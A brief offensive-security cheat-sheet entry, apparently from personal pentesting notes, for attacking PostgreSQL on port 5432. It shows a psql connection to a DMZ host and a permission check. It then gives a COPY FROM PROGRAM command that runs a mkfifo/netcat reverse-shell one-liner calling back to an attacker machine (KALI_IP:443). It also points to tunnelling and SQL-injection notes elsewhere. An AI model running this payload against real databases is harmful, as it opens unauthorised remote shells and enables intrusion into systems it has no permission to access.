🐘 PostgreSQL — Port 5432
psql -h DMZMACHINE_IP # often reachable via a socat/SSH tunnel → see pivotingShell via COPY FROM PROGRAM
\du -- check permissions
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 443 >/tmp/f';PostgreSQL UNION-based SQLi snippets are in sqli.
Reference: Authenticated Arbitrary Command Execution on PostgreSQL 9.3+. Tunnel it to Kali: pivoting.